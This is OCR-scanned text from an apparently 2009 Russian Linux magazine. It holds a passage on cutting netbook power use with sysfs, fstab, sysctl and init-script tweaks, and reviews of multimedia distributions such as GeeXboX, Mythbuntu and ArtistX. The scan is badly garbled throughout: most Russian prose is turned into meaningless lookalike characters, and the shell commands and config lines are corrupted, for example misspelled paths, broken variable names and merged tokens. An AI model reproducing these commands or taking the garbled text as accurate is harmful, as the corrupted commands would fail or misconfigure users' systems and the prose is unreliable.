Mockonsky sysfs — BupTyansHas ¢paiinosan cuc-
TEMa, TO BCE BHECEHHbIE UBMEHEHVSA NponanyT Npu
nepesarpyzke. [loaTomy gobasum e /etc/re.local
cneayioLLe KoMaHab!:

$sudonano /etc/rc.local

echo ondemand > /sys/devices/system/
cpu/cpul/cpufreq/scaling _governocr
echo ondemand > /sys/devices/system/
cpu/cpul/cpufreq/scaling_governor
echo 1000000 > /sys/devices/system/
cpu/cpul/cpufreqg/sampling rate

echo 1000000 > /sys/devices/system/

cpu/cpul /cpufreqg/sampling_rate

[naysennyeHns npousBoANTENLHOCTA MOXKHD
CMEeHWTE NIaHUpoBLLIYK BROAA/BhIBOAA. VICnonbay-
emblid no ymonyanuio CFQ cozpnapanca ansa paboTsl
c HDD; oH M3MeHseT NocneA0BaTeNsHOCTE 38M1CH
JaHHbIX C LIENBH YOPAL04MTE ABWXKEHWE MONOBKA
no gucky. [Ana SSD Takue yxuULpEeHUS HE HYXHbI,
NosTOMY, 4T0Bb! He TPaTWTL BNYCTYIO NPCLIeCCopHoe
spems, Ny4le cmednts CFQ Ha noop. [ina atoro
HAM0 K NapaMeTpam, NepeasaemeiM SARY Npu
zarpyzke, nobaenTs elevator=noop.

SSD umMeeT orpaHMyeHHoe YNCNO LIUKNOB
3aNWUCK; NOTA U BpEMEHHBIE Qainsl nydlle
BuiHecTy B 03Y. [Ina atoro gobasum 8 /etc/
fstab cTpouku:

$ sudo nano /etc/fstab

tmpfs /var/logtmpfs defaults0
0

tmpfs /tmp tmpfs
defaults 0 0

tmpfs /var/tmptmpfs defaults0
0

fcHo, 4o BCe CofepxkMMOe 3TUX Nanok nocne
repe3arpy3Kki Nponager, a He BCe NPorpaMmel yme-
10T KOppeKTHO 0B pabaTsiBaTh CUTYaLMIO, KOraa WX
noBumbid katanor B /var/log otcyTersyet. [ostamy
MPUASTCH BOCCO3AaBaTh CTPYKTYPY KaTanoros 8/
var/log npw kaxaoi 3arpyske. [1na atoro cospagum
s/etc/init.d ckpunrlogdirs:

% sudo nano /etc/init.d/logdirs

for dir in apparmor apt bootchart
ConscleKit cups dist-upgrade fsck
gdm news jnstaller samba unattended-
upgrades ;

do
if [ ! -e /var/log/sdir ]| ;
then
mkdir /var/log/sdir
fi
done

Caenaem ckpunT UCNONHAEMBIM M POnULIEM B
ABTO3AMYCK: '

$ sudo chmod +x /etc/init.d/logdirs
$ sudo 1ln -s /ete/init.d/logdirs /
etc/rc2.d/S051ogdirs

OnaThke, Ana npoaneHus xusHin SSD zanuiuem B/
etc/sysctl.conf cneayiowme aHaueHus:

$ sudo nano /etc/sysctl.conf

# YcraHaBIMBaeT MNepuold Mexmy cbpoca-
MM M2EMEeHEeHHHX HaHHuX 13 03Y Ha OMCK B
15 cex. (mo yMomdaEmpo 5 cex.)
vm.dirty _writeback _centisecs=1500
# BrmouaeT laptop-mode

vim. laptop_mode=5

Brnouerue pyrkupun USB autosuspend nosso-
NAGT COKOHOMMKTH ELLIE HEMHOIO 3HEPI UK. O,ﬂ,HaKO
NoJ/1530BaTLCA 3TOM GYHKLMEN HaA0 OCTOPOXHO,
Tak Kak TEOPETMHECKM OHa MOXKET NONOMaTh
MOAKNNIOYEHHBIA MPUHTEP MK cKaHep (MpydIuHK:
www.nabble com/USB-Problems-with-Ubuntu--
W 12123128 htrl). Mpasaa, owmbky
yxe ucnpaswnu [ans anep > 2.6.22), Ho cama Takan

BO3MOXHOCTs HacTopaskueaeT, PowerTOP coge-
TyeT BkIo4aTh USB autosuspend yepes nepenavy
Anpy napameTpa ushcore.autosuspend=1. [inq
HOBbIX siflep MeTof He cpaboTaet, noaToMy NpraeT-
cq BrNIaYaTE Hepes sysfs. [ina storo s daiin /ete/
rc.local pobasvm 3anucn:

5 sudo nano /etc/rc.local

# BRnp4aeM aBpTOMaTHHECKOe yIIpaBie-
HME TTUTaHHeM

for i in “ls /sys/bus/usb/devices/*/
power/level” ; do echo "aute" > 51 ;
done

# YOpaBleHue mUTaHueM BKIOYUTCH, KAK
TONBKO YCTponcTeo ocBobomuresa (He-
Mennenno, depes 0 cex.)

for i in "1s /sys/bus/usb/devices/*/
power/autosuspend’ ; do echo "0" >
$i ; done

¥ BaopHo BHEMOUMM dyHKIMD Wake-on-

XAKEP 10 /130/ 09



VHTepe

Lan #a ceTeBOoM MHTepdence

ethtool -s eth0 wol d

CmeHaTaliMe Pa, OTCHUTBIBAIOWErD TMKM 84Pd, CO CTaHAapTHOro
8254 Ha coBpeMeHHsIA 1 Bonee ToYHbIA hpel 4oixHa YyeKopUTh
3arpy2Kry CMCTeMbI 1 NDNOXKUTENBHO CKa3aTbCA Ha NaTeHTHOC-
. [Insi aToro Haao K NapaMeTpaM, NepeaasaeMbiM A4PY Npw
sarpy3«e, fobasuts clocksource=hpet.

TeopeTnyeckm BKIIGHEHWNE PEXIIME NaPanenbHoM 3arpy3Kin
AOKHO CYLLECTBEHHO YCKOPDWTEL 3arpy3Ky CUCTEMbI Ha MHOTO-
shepHeix npoleccopax. Intel Atom N270 — «ncespo-aByxs-
anepHbli» (ofHoanepHeli, ¢ Hyper-Threading), Tak 4to MoxHO
oXMaaTh HeGonsbLIoro yekopeHua. [Ing BKNIoYeHU pexmnmMa
napannensHow 3arpyski Hago B daine fetc/init.d/rc namerns
crpoury CONCURRENCY=naneHa CONCURRENCY=shell.

ANEPHbIE BOUHbI

C pocToM nonyAspHoCTY HeTBYKOB CTany OguH 2a ApyriM
NOABAATLCH MPOEKTHI, KOTORbIE NpefocTaBNAoT chopku apa
Linux (Mnu gaxe uensie ancTprbyTuesl) Noj KOHKPETHYI0 MOfEeNb
nnu cemeRcTrO. BonkLue BCEro TakKx NPOEKTOs, KOHEUHO XE,
HanpasneHo Ha noanepxky Asus Eee PC, Ho v ang Acer Aspire
vx Hemano. MHe yaanocs 06HapykuTs 3 aKTMBHO Pa3BNBAIOLLMX-
ca npoekTa (1 ropasno bonblwe 3abpolueHHbIx):

1. swww, Kuki e
NOALEPUBAOLLLME TONBKO NUHENKY HeTBykos oT Acer. MoxHo
ckavatk oTaensHo Aapo (nocneaHas sepcna: 2.6.31-rc3).

Z 1/ubuntu — cbopku agpa gns Ubuntu. CHavana

— nerkuit gruetpnbytne Ha baze Ubuntu,

NpOeKT NoAAepXVEan Tonsko cbopkn ans Asus Eee, Ho noTom
BbiNM BLINYLLEHE BERCUI, NOAEPXKMBAKILLNE LUIWPOKKUIA CNeKTp
HeTbykoB. MNocnenkas sepcus Agpa: 2.6.28.

I — chopku agpa ana Ubuntu.
MNopaepxreaetcaTontko Acer Aspire One. MocneHss Bepcua
A0pa:2.6.29.

YcTaHoBKa A4pa ¢ kuki me TpuBMansHa — ckadnBaem deb-na-

Z.www.aspireanekernel

KET, KDTOprL‘;‘I MoToOM YCTaHaBNWBIEM. Cucrema c3tum A0pom
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rpy3uTES oLLyTIMO BeicTpee (o Muermio bootchart —3a 11 ce-
KyHA). BHeproncTpebneHne HECKONLKO BeILLE, YeM C AedONTHEIM
anpom (8,5 Brnpotve 8,3 BT 8 coctosaHun «nokoa»). [py cBopke
3T0ro Aapa He Brouunm onumio CONFIG_TIMER STATS,
noatomy PowerTOP He mMoxkeT 0ToBpa3nTs KOMNOHEHTbI CMCTe-
Msl, BbI3sIBAOLLME HAaKbBoNsILee konryecTBO NpobyxaeHuWil 8
cekyHay. Kpome BeICTROM 3arpy3ky, SAR0 HEMPUATHO Y4B
KOPOTKMMM, MYCTb 1 HEHacTbiMu GpU3aMu crcTeMsl.

YCTAHOBWTL ALPD € 41 7ay.017] TOXE HECICXHO — LOCTATOYHO
NOAKNIOYNUTL Mx peno3utopuid. o gaHHeim bootchart cuctema
rpyavTcs elle beictpee — seero 3a 10 cekyHa. IHepronotpebne-
HWe Toxe HK3koe — scero 7,6 BT. Ho stor npuatseii dakT obyc-
NOBNEH HEMPKUATHEIM 0BCTOATENSCTBOM: U3 Kopobku HE paboTtaeT
Wi-Fi. Bnpo4eM, ero He CnoxHo HacTpouTh.

Y aspirecnekerne

1Spirecnek 011 HET CBOETO PeNO3NTOPKS, Y AP0 NPOCTO
CKaunBaeTcH W ycTaHasnueaeTcs. Cucrtema ¢ 3TiM sapom
rpyautcs 3a 11 cexyna v notpebnaer 8,3 Br. Kcoxanenuio,
CONFIG_TIMER_STATS Toke oTkntouer npu cbopke.

Bee Tpyr ansTepHaTUBHbIX 8Ap3a NPEBOCXOAT CTAHAAPTHO. ROPO
QWL N0 OAHOMY NOKA3aTENI0 — CKOPACTW 3arpyaku. YuuTsiBas
BeposTHEIe npobnemsl (8 ToMuncne, cangeidtamul, 1 pewmn
0CTaThCS Ha CTaHASPTHOM ALpe

ntor

B pesyneTarte sCex oNTMMU3aLMIA B COCTOSH N «NOKOS» SHEPro-
norpetnexne cucTemel No nokasaxuaM PowerTOP cHnannock ¢
8,3B7no7.187[Ha 14%). MNocne npoussegerHsix HacTpoek Bsinw
NOAYYEHs PESYNETATE:

Bpewms zarpvzRr-14 cexvan (-17%)

B pexyme Beb-cepduHra HeTbyk npogepxancs 179
vuayT (+10%)

B pexyMe IpocMoTpa BULec HeTOVK npoiepxancs

151 vy Ty {(+28%)

MTaK, Mbl BUAMM, HTO C NOMOLLEI0 HeBenbW X A0BOA0K MOXHO
YBENUYWTE BPEMS aBTOHOMHORW paboTel Ha 10-30%. W ato ans
OC, yxe onTMHU3upoBsaHHoi 1ns pabotsl Ha HeTbyke. B chyuae
c obbiunoi, pecktonHol OC, Ludpsl Boinu Bkl HECKONBKO BbILLE.
Ho 4yiaec He DulgaeT, v KapAUHaIILHO peLuuTs Npobaemy co spe-
MeHeM aBTOHOMHGH PaboThbl MOXKHO TeNkKe NoKynkoii batapeu c
Gonbliei eMKoCTsI0.

B koHLe aToro rofa DonbWWHCTED MMEHWTEIX MPOM3BOANTE -
neii HeTbykoB obelaoT BEINYCTUTL MOASNW C NPOLLECCOPOM
ARM [yxxe yeneswue obpect cobeTaeH Hoe UMa — cMapTby-
kn). Bnaronapa HusKoMy sHepronoTpebneHiio, cMapTlyku
JLOJIKHbI KM Th HA OHOM 38PAAE HeJOCTUXVMOE ANS 00 b4 HbIX
HeTbykoB Bpems — o1 10 uacoB v gonblue. HTo 3K, KaeMc
HeTepnednem! 3¢

=)
IE
(=]

> dvd

Ha npunaraemom
KoKypHany AMCKe Tkl
HargelWs NpUMephI
KOHGUrypaLMOHHbIX
paiinos 1 ckpunTsl
AR TECTUPOBaHWA.

[HTTP://WWW]|

I — noXanyi, gamoe
nonHoe cobpanme
METEPUEN0E Ha TEMY
aHeprochepexeHus
B Linux. Tak kak cant
CO3/,aH KOMNaHUe
Intel, To ynop coenax
Ha paboTy uMeHHo c ee
obopynoBaHuem.

* [logpobHee 0b
anumMax MDHTWPUBG*
Hus extd yuTal 3geck:

» info

® [lomHu, uto Ubuntu
9.10 no ymonuaHuio
ncnons3yet GRUB2,
No3TOMY PY4YHOE pe-
naktposae /boot/
grub/grub.cfg Hesxe-
natenbHo. HacTpoiku
3arpy34mnka MEHRIOTCA
8/etc/grub.d n/etc/
default/grub.

® Y7006l BRIOYNTE
aBTOMOBTOPEHUE B
mplayer, nobasb B
dain ~/.mplayer/
config crpouky loop=0.

» 097



| Po)KieHHble
MyNETUMEAUA
PEBONIOLIUEN

0630p MyNbTUMEAUAHBIX AUCTPUOGYTUBOB Linux

B GNU/Linux ecTb Bce HeobxoaMMoe A KOMOPTHOro NpocMoTpa U
NPOCAYLMBAHNA MeONAKOHTEHTa. AYTODbLI yNPOCTUTE XKU3HbL PAA0BOMY

Nnonb30BaTeto, aHTY3NACThl co6paﬂm PALTOTOBbIX peu_IEHI/llﬁ, MNO3BOJTAKO-

LLMX MPeBPaTUTh KOMMbIOTEP B CETEBOW pa3B/ieKaTeNbHbli Meana-LeHTp

n/unu paboyyto cTaHuMo ANt 06paboTKM ayamno, BUAEO M rpadpnuyecKmx

darnnoB. [T03HAKOMMMCHA C CaMbIMN UHTEPECHBIMW U3 HUX.

GEEXBOX 1.2.3

0C: GEEXB0X 1.2.3

CAVIT MPOEKTA: GEEXBOX.ORG

JATA BbIXOA: 10 MIONA 2009 F0JA
JIMLIEH3HSL: GNU GPL

ANNAPATHBIE IAT®OPMbI: X86_32,

XB6 64, POWERPC

CUCTEMHbIE TPEBOBAHMA: INTEL
PENTIUM 11 400 MT1l, 64 Mb RAM
OCHOBHbIE KOMNOHEHTbI: KERNEL
2.6.27.13,GLIBC 2.7, UDEV 124, XORG
1.5.3, MPLAYER 1.0RC2

[epBbli YHaCTHUK HALLEro MyNETUMEAMUHOTD
TeCT-ApaliBa BbINONHEH B BUAE 3arPy304HOM0
LiveCD-0bpaza n paboTaeT bes ycTaHoBKN Ha
KECTKUW AUCK, X0Ts pazpaboTyuki NpoekTa npea-
N1araioT BapuaHT AMcTprbyTHEa ¢ BO3MOXHOCTLIO
3arpy3KuM ¢ BUHYecTepa unu 1106oro BHellHero
Hakonutens (USB-dnewkw, kepTe namati CF/
5D). GeeXboX ymeeT BOCTIPOW3BOAMTS BUAEO (B
Tomuucne ¢ HD-paspewernen), aynmno nrpadu-
yeckue dalnel ¢ xectkaro Aucka, CD/DVD-Hocn-
Tens, ceteBoro pecypca LAN [NFS, SMB/CIFS],

3 TaKKE NPUHMMaTE NOToKDBoE BelaHu1e. Kpome
TPaaWLMOHHEIX 415 Linux Gaiinoselx cuctem,
noggepxusatorca FAT u NTFS, noatomy npobnem
C30CMpou3BeaeHem Gainoe, HaxoaALLMXCA Ha
pasHbix pasaenax, 8 GeeXboX Het. HexoTopeie
KOAEKH, MMEeIoLLWe HeCBOBOgHYIO TUMLEH3UIO
[Hanpwmep, rv? nwmv?), cobpatsl 8 0TAENLHOM

» 098

nakete [extra-codecs-nonfree), koTopbiii MOXHO
nobaeuTh Nocne ycTaHoBky AMCTpubyTuea Ha
XKECTKWMIA JUCK MK BO Bpems ero nepecbopkm.
M3aHauanbHo NpoekT Nnpuenekan Tex nonb3oeare-
Nel, KoMnNbl KoTopbiX Belan HecnocobHbI cnpa-
BUTLCA C MN3BHBIM BOCNPOU3BEAeHUEM BUAEO
XOpOoLUero kayecTsa. 3a CHeT onTUMU3aLMM 1 M-
HUMUW3ALIM YAEBAN0CH BLIXKATH 13 CTAapOro ALLMKE
BCE 10 NoCnefHero TakTa npotleccopa v Merabanra
orepaTueku. A 8 ceoe Bpems nuuHo ybeauncs 8
3TOM, KOF1a HE MOT HOPMASBHO CMOTPETE BUJIEO Ha
npesHem Celeron 300A, — nomoran nubo onTummn-
ru.nu), nnbo GeeXboX.
Cornacuce, 4to GeeXboX Ha nopanok yaobree ang

amposaHHbIi Crux (

06biuHOro Nons308aTens. C HUM MEHbLLE BO3HM:
NPOCTO BCTaBWA AWUCK B MPWUBOA, W CMOTPULLL GUbM
WA Chylaells My3blky. CerofiHg, Korha 4acTeTom
NPOLIECCOPa YXKe HUKOTD He yAKBuULLb, GeeXboX
NOZULMOHUPYETCA KaK BCTPOBHHASA CUCTEMA NS
N0MaLLIHUX KWHOTEaTPOB, A5 MPOCMOTPa BUAEO Ha
Bespuckosbix cnctemax, B KoTopeix OC 3arpy-
KAETCH B 0NEPaTUBHYI0 NaMsaTe. [lonk3osarent
HETBYKOB OTMEUaL0T, Kak MunuMyM, 10-npoueHT-
Hoe yBeuyerne spemenin pabotel ot batapewn (8
CpaBHEHWN CO CTaHAapTHoI cheTemoi). MoaTomy
yxouTe Ha NeHckio GeeXboX ele paHo.

B HacTosulee BpeMs BefleTcs pa3paboTka AByx
seTok gucTpubytuea: 1.2.x n 2.x. Bapuant 1.2.x
nocTpoeH Ha MPlayer u cunTaeTcs crabunbHbiM.
Bepcus 2.x HaxoamMTcs B COCTOAHMM pazpaboTku

1 NOKa He NMpeJHasHaYeHa Ans noBcejHesHoro
Mcnons3oBarua. Ee ocobeHHOCTLIO ABNAETER

Hanuywe mepwaleHTpa Freevo, npespallaowero
IACTPUOYTIE B NOMTHOGYHKLMOHANEHBIA MHCTPY-
MEHT 0NA MPOCMOTPa BCEra M BCS.

HecmoTpa Ha kpoxoTHEIA pasMep [cocTasnsaeT no-
paaka 19 Mb — zToro yoanock AobuTees Brarofaps
TPaMOTHOMY NOAXO/Y M UCMIONE30BAHKI0 NAKETOB
BusyBox 1 uClibc), cuctema naet ¢ MakcMManb-
HOM NOCTaBKe A AparBepos U aBToOMaTUHECKN
onpegdendeT bonbLUyio YacTs obopyaosaHua. B tom
qncne TV-tioneps!, WiFi, DYB-kapTsl, — He Tpebys
nepecbopku a4pa Unu Kakux-nbo gpyrix Maxm-
MyNALMIA CO CTEPOHLI Nons30BaTens. MaxaqansHo
NOALEPKUBAIOTCS MPAKTHMUECKK BCE OCHOBHLIE ay-
ano/enaeo/rpaduyeckie GopMaTsl U KOLEKM, Kpo-
Me Heckonekux non-free (RealMedia, QuickTime,
WindowsMedia). Ynpagnedne npou3sopnutes npw
NOMOLLM SKPAHHOMO MEHI0, TOpAYMX KNABULL, TMbBo
ynaneHHo vepes LIRC.

GeeXboX zarpyxaetca B 03Y, nonHocTbio ccBobox-
[@9 YCTPOWCTBO N0 OKOHYaHWK 3arpy3xi. [Toymon-
4aHUWI0 CYCTEME CTAPTYET B PEXUME NOANEPXKKM
HD-suneo [Start GeeXboX for HOTV), To ecth bynet
YCTAHOBIEHO MAKCHMaNbHO BO3MOKHOE PaspeLle-
HUe 3Kkpara. Ecnu oHo He 10T MBaeT 40 HYXHbIX
[1920x1080, 16:9), To BOCNPOUIBOAUMOE BUAED
Macwrabupyerca. B ofuiurom pexume [Start
GeeXboX] ycraHaenusaeTcs paspeuerie 800x600,
YTO ONTUMENSHO ANA MPOCMOTPE «CTaHapTHOro»
B1Oeo. XoTa Npu HeobX0AMMOCTI MOXHO 0Tpe/iaK-
THPOBATE NapaMerp «vga» B 3arpy30HHOM MEHIo
laocTynro no <Tab>), ycrakoeue cBoe pazpelue-
Hwe. MHTepdeiic 40B0ALHO NPOCT B UCNONL30Ba-
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Huy. C ero noMoLLsio nponssouTcs aibop
Galinos AN BOCNPON3BEAEHUS U HACTPOKKY
HEKOTOPsIX NapaMeTpoB paboTsl, B TOM YMcHe

— HacT DODIKG COOTHOLWIEHMA 3KpaHa U Taﬁmep
oTkmo4eH1s. Bee foBonsbHO yA0BHO M NpoaymMaHo.
LncTpubyTyuB MAeT c NoHLIM KOMIIEKTOM MHCTRY-
MeHToB paspaboTku. [locTaTouHo ckayaTk ¢ caiiTa
npoexTa GeeXboX IS0 Generator, pabotaouimii
nop Linux, Mac 05 XuWindows 9x/NT/2k/XP.
CamocTogTensHas nepecbopka guctpubytvsa
LOBOMEHO NPOCTA, BHYTPY 3pXMBOB HAXOAATCA
noapobHeie MHCTPyKUMW. C NoMoLLbIo reHepaTeps
MOXHO 100aBNUTh NOAAEPXKY PYCCKOr0 #3blKa B
MEHID W CyBTUTPaX, U3MEHUTL TeMy OQDPMAEHIS,
YCTaHOBMTEL HACTPOKI CETH, 331aTh CeTeBkIe
pecypckl, koTopsle byayT aBTOMATHHECK MOH-
THPOBATLCA NPy 3arpy3ke, N T.A. Butore, MoxHo
€030aTh IEWCTBUTENEHO yA0DHbIN B paboTte u
3aToueHHbIA Noj cebs BapWMaHT 4ucTpubyTu-

ga. Kpome Toro, ayano- v Buaeohanns MOXHO
COXPaHWUTL HEMOCPECTBEHHOD Ha 3arpy30HHsIA
AWCK, ONA 3TOrO WX JOCTaTO4HO CKONWPOBaTh

8 rodkaTanoriso, obpasosaslmMnca nocne
pacnakosku |SO Generator, 1 3anycTuTe npoUecc
cozpanus |SO-06paza. 3aTemM Takme QUCKU MOXHO
CNaKoAHo Mpourpsiath B nioboi obcTaHoBke,

Hez NoNoNHUTENBHON HACTPORKM WU NOAKIOYEHNA
KUCTOYHMKE.

Ansreprarusoil GeeXboX aensaercs MoviX [

{] — nerkunia KoMNakTHbIA AUCTpUBbyTHE,
noctpoerHsii Ha Damn Small Linux. Or nozso-
nAeT CMOTPETH MyBUKK, hoTarpaduu v cylaTs
My3biky. 3arpyaka sosmoxHa c CO, HDD, USB unu
no Cetw. [py nomowwy komnnexkta MoviXMaker-2
(savannah.nongni. org/projects/movixmaker]
MOXHO CO3MaTh CBOW BApWMaHT AncTphbyTusa Ha
Baze MoviX/eMoviX u npourpeisatens MPlayer.
Macne 3arpysku 3anvcanHoe Ha CD/DVD-puck
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BWOE0 aBTOMaTU4EeCKM BOCNPOM3IBOAUTCA.

EQMHCTBEHHBIA MUHYC — NPOEKT NpekpaTki
CBOE pa3BHTHe, XOTA 3TO COBCEM HE MeLLaeT ero
WCMONB30BAHNI.

MYTHBUNTU 9.04

0C; MYTHBUNTU 9.04

CAWT NPOEKTA: WWW.MYTHBUNTU.ORG
JIATA BbIXOJIA: 23 ANPENA 2009 F0/IA
JNMLLEH3KA: GNU GPL

ANMAPATHBIE NIAT0PMBI: 1386,
XB6_64

CHCTEMHBIE TPEBOBAHMA: INTEL
PENTIUM MJIW AMD CPU 1.0 TTL, 192 Mb
RAM, 25 HDD (JIY4LLE 80+ b
0CHOBHbIE KOMNOHEHTDI: KERNEL
2.6.28, GLIBC 2.9, GCC 4.3.3, UDEV 141,
XORG 1.6.0, XFCE 4.6.0, MYTHTV 0.21.0,
MPLAYER 1.0RC2, ATI 8.600, NVIDIA
180.44, FIREF0X 3.0.8

OcHogoli 3Toro pennsa nochyxun Ubuntu 9.04
Jaunty Jackalope, c koTOpbIM OH MOJHOCTEIC
COBMECTMM M0 NakeTaM. Hymepauus coBnagaetc
yByHTOBCKOIA; NocneaHue penussbl Mythbuntu ewl-
XOAAT NPaKTMHecku cpasy nocne akoHca 0a3080ro
aucTpubytea.

[Lucrpeoinonte s suae LiveCD, yto nozsonset
WCMCNb30BaTH BCE 10 MPUAoXKeHWs bes ycTaHos-
K Ha xap/. XoTa pa3paboTynkamu NpeaycMoTpe-
Ha BO3MOXHOCTh YCTAHOBKM, COOTBETCTEYIOLIMA
MYHKT HAXOAMTCH B 3arpy304HoM MeHio. Kak 1 B
Ubuntu, npu 3arpyaKe MoxHO 8bIOPaTs A3bLIK; B
CrMCKe ecTh PYCCKMin, — nocne Yera nHTepderic
paboderc cTosa i OCHOBHBIX NporpaMm byaet
nokanu3esaH. 3arpy3ka CYCTeMbl MPOMCXOANUT
3amMeTHo beicTpee Ubuntu, BepoaTHO M3-33 TOT0,

L~ ‘
GEEXEOX o T e
(GEE B30 i
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CONTROLS

PRECERENCES

OPTICNS

HELP
QAVIT.

(

x GeeXboX noc

TaTOYHOMPOCT B

viipaBneHu1
S

yTo yBpaHO BCE He COOTBETCTBYIOUIee Ha3Ha e-
Huto auctpubytuea. HepHo-6enelil doH pabodera
CTO/A XOPOLUO CMOTPUTCA HA 2KPaHe TRNEBM30pa
11 He pasapaaeT ApKkuMM kpackamu. B kadecTse
pabouero okpyxenus BoibpaH XFee. YTobel obner-
YT HOBUUKY NPOLIECT 3HaKOMCTBE, UHTepdeiic
MAKCUMAabHO YIIPOLLEH, OCTaBNEHO JIWLLb CamMoe
Hy:xHoe. [ocne 3arpysku byaeT BOCTYNHO TO/BKO
onHo MeHio Applications, B KOTOPOM MOXHO

HalTKH BCe HeobXoAMMOR ANA BOCMNPOU3BEIEHNS
menradgainos u3anycka MythTV. OcHosHas
dyHKUMOHaNbHoCTs Mythbuntu saknioyerHa uMen-
Ho B MythTV — oH npepcTaBnset coboid Habop
NpOrpamm, No3BONALLMX NOCTPOMTE HA OBBIYHOM
KOMMbKITEPE HACTOALLYIO MEAMACTaHLMI0 — BOC-
NpPOM3BOAUTE MeAnadaiinb, 3anuceiBars BUASC
Ha ACK, CephUTL MPOCTOPLI MHTEPHETA, YMTaTE
HOBOCTW, NONYYaTs NPOrHO2 NOrobLl, UrpaTh B
urpsl Mg, (nogpobree o MythTV unrai B mione-
cKkaM HoMepe 2= 3a 2007 roa).

[ cTprByTUB MOXET MCNONb30BATHCH KaK 8B~
TOHOMHARA CTAHUMSA, TAK U NOAKIIOHETECS B BANE
dpoHT2HIA KyKe cyliecTsyioweMy MythTV. s
HacTpoliku napameTpos pabotel PVR-crncremsl
ApennokeH rpapuyeckui nHctpymenT Mythbuntu
Control Centre. [p1 nomMoLLm HEro MoXHO Mpo-
M3BECTH BCE OCHOBHbIE OMNepaLyi: YyCTEHOBNT
Dot [aBTOHOMHLIN, PPOHTIHA), KOHBEpPTUPOBETL
CUCTEMY B I@CKTOMN MW CepBep ANA 3ar py3Ku
Be3AMCKOBbIX KNWEHTOB, HACTPOUTh TEMY, 3KTUBM-
POBAaTL/EaKTVBIMPOBATE NarMHbl M CUCTEMHBIE
cepeuck (VNC, SSH, Samba, NFS, MySQL), yera-
HOBUTL HEOCTAKOLLME NPoNpUeTapHsie Apaneepa
v kopexu, HactpouTs LIRC v mHoroe gpyroe. [pu
Heobxopumocty Control Centre Boi3kIBAET YTANN-
Tbl, Bpoae Synaptic.

B noctapke aucTpubyTvsa a HacuwnTan 14 nnaru-
HoB s MythTV 1 24 TeMel; ecTb BCe Heobxoau-
Mule ipalieepa [Bkniovas nponpreTapHsie Ans
suneokapt NVIDIA 1 ATI) 1 0CHOBHLIE KDAEKM.
MakeTsl w32codecs, fimpeg v libdvdcssZ yctanas-
nueawTca U3 penosutapus Medibuntu asTomaTu-
yecku, nocie Beibopa HYKHOTO KOLIEKa BO BKNE/AKe
Proprietary Codecs.

Yrobel 3anycTuTs Myth TV, foctatoqro Beibpats
Ha pabouewm crone apasik Mythbuntu LiveCD
Frontend. MossuTcs MeHo noakInYeHnua k base

1 Bbibop napameTpoB. [poBepaem HacTparkK
3anyckaem.

KetaTw, anstepHatve y Mythbuntu npegocraroy-
Ho: Hanpumep MythDora (iythdora ] —cne-
UMANW3UPOBAHHBIA ANCTPNOYTB, OCHOBaHHLIM Ha
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Home entertainment just got entertaining again.

x HoBuuO!

Fedora u MythTV, unv KnoppMyth (

} myt ), nocTpoeHHsIf Ha Knoppix,
Myth TV 1 nenonssyioLLmia B kadecTse paboyero
CTONA Nerkuid h LWycTpslid Fluxbox.
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Ouctprbyie ArtistX (panee Mediainlinux]
HECKOMNBKO ApYroro HazHadexva. ns Linux
HaMmWcaHo A0CTaTOMHO COBTa, MPY MOMOLLM KOTO-
POrO MOXKHO He TONBKO NPOCMATPWBaTL BUARO U
CIYLUATE MY3bIKY, HO M CAMOCTOATENLHO CO34aBaTh
MYNSTUMERKE KOHTEHT. Kak paz Takie NporpamMmbl

CoctaB Ubuntu Studio

MouyHki paaakTop ayauosanvcn u ceelenns Ardour, pefakTop 3sykosbix darnos Audacity,
napam-matika Hydrogen, 2Bykosoi cepeep-aemoH JACK, MHCTpyMeHT macTepurra JAMIn,
HoTHBIN penaktop LilyPond, nporpamma gna mrkwimposadusa Mixe, MIDI/Audio cunTesaTtop
MusE, MIDI-ceksercop Rosegarden, nporpammueiit MIDI-cunresatop TiMidity++ CinePaint
[L151 pACKPacKkn v peTyLLMPOBEHUA BUE0KaApOB, HenrHeliHble pegakTopsl PiTiViu Kino,
Stopmotion ins nokagpoeoro cozaakia susee, Blender 408 co3paHms TpexmepHoli KOMMbo-
TepHO rpadukn. MNocneaHunil BkiodaeT 8 cebsa cpeicTBa MOAENVPOBAHWUR, aHUMaLUMK, peHae-
puira, noctofpaboTky BULe0, CO3AHKUSA MHTEPEKTUBHEIX TP, Synfig Ans cozanms aByMepHOM
BeKTODHOW aHVMMaLMK, 8 TAaKXKe He HyKaaLwyecH 8 npegctaeneHn Gimp, Inkscape Scribus.

cocTaBnsioT ocHoBy ArtistX. DVD-auck pasmepom
3.3 0 ByKBaNLHO HELUMNWIOBAH NPUAOKEHWAMM,
pacnpocTpaHsieMblmMi Nod ceobogHoM NuLeH3n-
eii, — pazpaboTurki 3a8BNSKT 0 Hanuyun 2500
cneunanuauposarHsix naketos! Mo cytm, ArtistX
asngeTcs Hanbosiee 6oratbiM KOMNNEKTOM CBD-
BoaHslx nporpamm ansa cbpaboTkuy ayavo, BUAEO U
rpadumsecknx daiinos. BoT TONBKO HEKOTOPLIE K3
HVX:

¢ [Iporpammel ans pabotsl ¢ 20 -rpadukoii:
Gimp, Inkscape, Nip2, Krita, Cinepaint, Synfig,
Rawstudio, Skencil, Hugin;

* [Iporpammel 30-monenvpoeaqms: Blender,
Wings3D, Kpovmodeler, Povray, K3D;

e [Iporpammel s obpaboTkn sugeo: Cinelerra,
Kino, Openmovieeditor, Kdenlive, Pitivi, Avidemux,
Devede;

* Aynio v Bngeo nneepsi: Mplayer, Helix Player,
Videolan, Xine, Kaffeine, Kmplayer, LastFM;

o [Iporpammel 4n5 0bpaboTkk U CO3AaHUE MY3bIKA:
PD, Rosegarden, Ardour, TerminatorX, Cecilia/
Csound, Gnusaound, Mixxx

locnefHuin Ha MOMEHT HEMKMCAH KA 3THX CTPOK
penu3 0.7 ocHosaH Ha Ubuntu 8.10 Intrepid

Ibex. Auctprbytie seinonkex g slae LiveDVD

C BO3MOKHOCTBIO YCTaHOBKM Ha Xapa, JJ1s Yero
MENonb3yeTcs WTaTHbIM nHcTannatop Ubuntu
Kak v npapogutent, ArtistX JOCTaTo4H0 NPOCT B

MCMONB30BAHWK, COAEPXUT BONbLICE KOAUYECTBO
ApalBepoB W kodexos, obopydosaHue nogxearsl-
BALTCS HA NETY, BCE NPUNOKEHIUR YKe HACTPOEHS! 1
FOTOBEI K NPUMEHEHMIC.

MaoskHO HacUWTaTb OKCNC eCHTKa aflbTepHATUB
ArtistX, HO, K COXaNeHKIo, HEKOTOP,IE 04eHb
xopouwne npoektsl spoge JAD [JacklLab Audio
Distribution), Musix GNU+Linux, Dyne:bolicyxe
